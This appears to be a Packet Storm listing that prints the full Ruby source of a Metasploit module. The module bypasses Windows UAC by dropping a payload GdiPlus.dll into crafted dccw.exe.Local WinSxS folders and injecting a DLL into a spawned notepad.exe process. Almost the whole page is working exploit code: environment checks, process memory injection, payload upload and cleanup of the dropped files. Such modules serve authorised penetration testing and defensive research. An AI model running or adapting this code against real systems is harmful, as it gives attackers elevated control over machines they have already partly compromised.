Windows Escalate UAC Protection Bypass (In Memory Injection) Abusing WinSXS

2017-10-12T00:00:00
ID PACKETSTORM:144593
Type packetstorm
Reporter Ernesto Fernandez
Modified 2017-10-12T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/exploit/exe'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Exploit::EXE  
include Exploit::FileDropper  
include Post::File  
include Post::Windows::Priv  
include Post::Windows::ReflectiveDLLInjection  
include Post::Windows::Runas  
  
def initialize(info={})  
super( update_info( info,  
'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS',  
'Description' => %q{  
This module will bypass Windows UAC by utilizing the trusted publisher  
certificate through process injection. It will spawn a second shell that  
has the UAC flag turned off by abusing the way "WinSxS" works in Windows  
systems. This module uses the Reflective DLL Injection technique to drop  
only the DLL payload binary instead of three seperate binaries in the  
standard technique. However, it requires the correct architecture to be  
selected, (use x64 for SYSWOW64 systems also).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ernesto Fernandez "L3cr0f" <ernesto.fernpro[at]gmail.com>'  
],  
'Platform' => [ 'win' ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' => [  
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]  
],  
'DefaultTarget' => 0,  
'References' => [  
[  
'URL', 'https://github.com/L3cr0f/DccwBypassUAC'  
]  
],  
'DisclosureDate'=> 'Apr 06 2017'  
))  
  
end  
  
def exploit  
# Validate that we can actually do things before we bother  
# doing any more work  
validate_environment!  
check_permissions!  
  
# Get all required environment variables in one shot instead. This  
# is a better approach because we don't constantly make calls through  
# the session to get the variables.  
env_vars = get_envs('TEMP', 'WINDIR')  
  
# Get UAC level so as to verify if the module will be successful  
case get_uac_level  
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,  
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,  
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT  
fail_with(Failure::NotVulnerable,  
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."  
)  
when UAC_DEFAULT  
print_good('UAC is set to Default')  
print_good('BypassUAC can bypass this setting, continuing...')  
when UAC_NO_PROMPT  
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')  
shell_execute_exe  
return  
end  
  
dll_path = bypass_dll_path  
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"  
  
# Establish the folder pattern so as to get those folders that match it  
sysarch = sysinfo['Architecture']  
if sysarch == ARCH_X86  
targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*"  
else  
targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*"  
end  
  
directoryNames = get_directories(payload_filepath, targetedDirectories)  
create_directories(payload_filepath, directoryNames)  
upload_payload_dll(payload_filepath, directoryNames)  
  
pid = spawn_inject_proc(env_vars['WINDIR'])  
  
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)  
run_injection(pid, dll_path, file_paths)  
end  
  
# Path to the bypassuac binary and architecture payload checking  
def bypass_dll_path  
path = ::File.join(Msf::Config.data_directory, 'post')  
  
sysarch = sysinfo['Architecture']  
if sysarch == ARCH_X86  
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)  
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')  
else  
::File.join(path, "bypassuac-x86.dll")  
end  
else  
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)  
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')  
else  
::File.join(path, "bypassuac-x64.dll")  
end  
end  
end  
  
# Check if the compromised user matches some requirements  
def check_permissions!  
# Check if you are an admin  
vprint_status('Checking admin status...')  
admin_group = is_in_admin_group?  
  
if admin_group.nil?  
print_error('Either whoami is not there or failed to execute')  
print_error('Continuing under assumption you already checked...')  
else  
if admin_group  
print_good('Part of Administrators group! Continuing...')  
else  
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')  
end  
end  
  
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]  
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')  
end  
end  
  
# Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation  
def run_injection(pid, dll_path, file_paths)  
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")  
begin  
path_struct = create_struct(file_paths)  
  
vprint_status("Opening process #{pid}")  
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)  
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)  
  
vprint_status("Injecting struct into #{pid}")  
struct_addr = host_process.memory.allocate(path_struct.length)  
host_process.memory.write(struct_addr, path_struct)  
  
vprint_status('Executing payload')  
thread = host_process.thread.create(exploit_mem + offset, struct_addr)  
print_good("Successfully injected payload in to process: #{pid}")  
client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)  
rescue Rex::Post::Meterpreter::RequestError => e  
print_error("Failed to Inject Payload to #{pid}!")  
vprint_error(e.to_s)  
end  
end  
  
# Create a process in the native architecture  
def spawn_inject_proc(win_dir)  
print_status('Spawning process with Windows Publisher Certificate, to inject into...')  
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86  
cmd = "#{win_dir}\\sysnative\\notepad.exe"  
else  
cmd = "#{win_dir}\\System32\\notepad.exe"  
end  
pid = cmd_exec_get_pid(cmd)  
  
unless pid  
fail_with(Failure::Unknown, 'Spawning Process failed...')  
end  
  
pid  
end  
  
# Upload only one DLL, the rest will be copied into the specific folders  
def upload_payload_dll(payload_filepath, directoryNames)  
dllPath = "#{directoryNames[0]}\\GdiPlus.dll"  
payload = generate_payload_dccw_gdiplus_dll({:dll_exitprocess => true})  
print_status('Uploading the Payload DLL to the filesystem...')  
begin  
vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")  
write_file(dllPath, payload)  
rescue Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}")  
end  
  
if directoryNames.size > 1  
copy_payload_dll(directoryNames, dllPath)  
end  
end  
  
# Copy our DLL to all created folders, the first folder already have a copy of the DLL  
def copy_payload_dll(directoryNames, dllPath)  
1.step(directoryNames.size - 1, 1) do |i|  
if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false  
print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...")  
end  
end  
end  
  
# Check if the environment is vulnerable to the exploit  
def validate_environment!  
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?  
  
winver = sysinfo['OS']  
  
case winver  
when /Windows (8|10)/  
print_good("#{winver} may be vulnerable.")  
else  
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")  
end  
  
if is_uac_enabled?  
print_status('UAC is Enabled, checking level...')  
else  
unless is_in_admin_group?  
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')  
end  
end  
end  
  
# Creating the necessary directories to perform the DLL hijacking  
# Since we don't know which path "dccw.exe" will choose, we create  
# all the directories that match with the initial pattern  
def create_directories(payload_filepath, directoryNames)  
env_vars = get_envs('TEMP')  
  
print_status("Creating temporary folders...")  
if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0  
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")  
end  
  
directoryNames.each do |dirName|  
if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0  
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"")  
end  
end  
end  
  
# Get all the directories that match with the initial pattern  
def get_directories(payload_filepath, targetedDirectories)  
directoryNames = []  
findFileDataSize = 592  
maxPath = client.railgun.const("MAX_PATH")  
fileNamePadding = 44  
  
hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize)  
if hFile['return'] == client.railgun.const("INVALID_HANDLE_VALUE")  
fail_with(Failure::Unknown, "Cannot get the targeted directories!")  
end  
  
findFileData = hFile['lpFindFileData']  
moreFiles = true  
until moreFiles == false do  
fileAttributes = findFileData[0, 4].unpack('V').first  
andOperation = fileAttributes & client.railgun.const("FILE_ATTRIBUTE_DIRECTORY")  
if andOperation  
#Removes the remainder part composed of 'A' of the path and the last null character  
normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split('AAA')[0]  
path = "#{payload_filepath}\\#{normalizedData[0, normalizedData.length - 1]}"  
directoryNames.push(path)  
end  
  
findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize)  
moreFiles = findNextFile['return']  
findFileData = findNextFile['lpFindFileData']  
end  
  
if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES")  
fail_with(Failure::Unknown, "Cannot get the targeted directories!")  
end  
  
directoryNames  
end  
  
# Store the necessary paths into a struct  
def get_file_paths(win_path, payload_filepath)  
paths = {}  
paths[:szElevDll] = 'dccw.exe.Local'  
paths[:szElevDir] = "#{win_path}\\System32"  
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative"  
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\dccw.exe"  
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"  
paths[:szTempDllPath] = payload_filepath  
  
paths  
end  
  
# Creates the paths struct which contains all the required paths  
# the dll needs to copy/execute etc.  
def create_struct(paths)  
  
# Write each path to the structure in the order they  
# are defined in the bypass uac binary.  
struct = ''  
struct << fill_struct_path(paths[:szElevDir])  
struct << fill_struct_path(paths[:szElevDirSysWow64])  
struct << fill_struct_path(paths[:szElevDll])  
struct << fill_struct_path(paths[:szElevDllFull])  
struct << fill_struct_path(paths[:szElevExeFull])  
struct << fill_struct_path(paths[:szTempDllPath])  
  
struct  
end  
  
def fill_struct_path(path)  
path = Rex::Text.to_unicode(path)  
path + "\x00" * (520 - path.length)  
end  
  
# When a new session is obtained, it removes the dropped elements (files and folders)  
def on_new_session(session)  
if session.type == 'meterpreter'  
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')  
end  
remove_dropped_elements(session)  
end  
  
# Remove all the created and dropped files and folders  
def remove_dropped_elements(session)  
droppedElements = []  
  
env_vars = get_envs('TEMP', 'WINDIR')  
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"  
  
sysarch = sysinfo['Architecture']  
if sysarch == ARCH_X86  
targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*"  
else  
targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*"  
end  
  
directoryNames = get_directories(payload_filepath, targetedDirectories)  
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)  
  
# Remove all dropped elements (files and folders)  
remove_dlls(session, directoryNames, file_paths, droppedElements)  
remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)  
remove_dot_local_folders(session, file_paths, droppedElements)  
  
# Check if the removal was successful  
removal_checking(droppedElements)  
end  
  
# Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"  
# and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"  
def remove_dlls(session, directoryNames, file_paths, droppedElements)  
directoryNames.each do |dirName|  
directoryName = dirName.split("\\").last  
  
begin  
droppedElements.push("#{dirName}\\GdiPlus.dll")  
session.fs.file.rm("#{dirName}\\GdiPlus.dll")  
rescue ::Rex::Post::Meterpreter::RequestError => e  
vprint_error("Error => #{e.class} - #{e}")  
end  
  
begin  
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")  
session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")  
rescue ::Rex::Post::Meterpreter::RequestError => e  
vprint_error("Error => #{e.class} - #{e}")  
end  
end  
end  
  
# Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"  
def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)  
directoryNames.each do |dirName|  
directoryName = dirName.split("\\").last  
  
begin  
droppedElements.push(dirName)  
session.fs.dir.rmdir(dirName)  
rescue ::Rex::Post::Meterpreter::RequestError => e  
vprint_error("Error => #{e.class} - #{e}")  
end  
  
begin  
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")  
session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}")  
rescue ::Rex::Post::Meterpreter::RequestError => e  
vprint_error("Error => #{e.class} - #{e}")  
end  
end  
end  
  
# Remove "C:\Windows\System32\dccw.exe.Local" folder  
def remove_dot_local_folders(session, file_paths, droppedElements)  
begin  
droppedElements.push(file_paths[:szTempDllPath])  
session.fs.dir.rmdir(file_paths[:szTempDllPath])  
rescue ::Rex::Post::Meterpreter::RequestError => e  
vprint_error("Error => #{e.class} - #{e}")  
end  
  
begin  
droppedElements.push(file_paths[:szElevDllFull])  
session.fs.dir.rmdir(file_paths[:szElevDllFull])  
rescue ::Rex::Post::Meterpreter::RequestError => e  
vprint_error("Error => #{e.class} - #{e}")  
end  
end  
  
# Check if have been successfully removed  
def removal_checking(droppedElements)  
successfullyRemoved = true  
  
droppedElements.each do |element|  
begin  
stat = session.fs.file.stat(element)  
if stat  
print_error("Unable to delete #{element}!")  
successfullyRemoved = false  
end  
rescue ::Rex::Post::Meterpreter::RequestError => e  
vprint_error("Error => #{e.class} - #{e}")  
end  
end  
  
if successfullyRemoved  
print_good("All the dropped elements have been successfully removed")  
else  
print_warning("Could not delete some dropped elements! They will require manual cleanup on the target")  
end  
end  
end  
`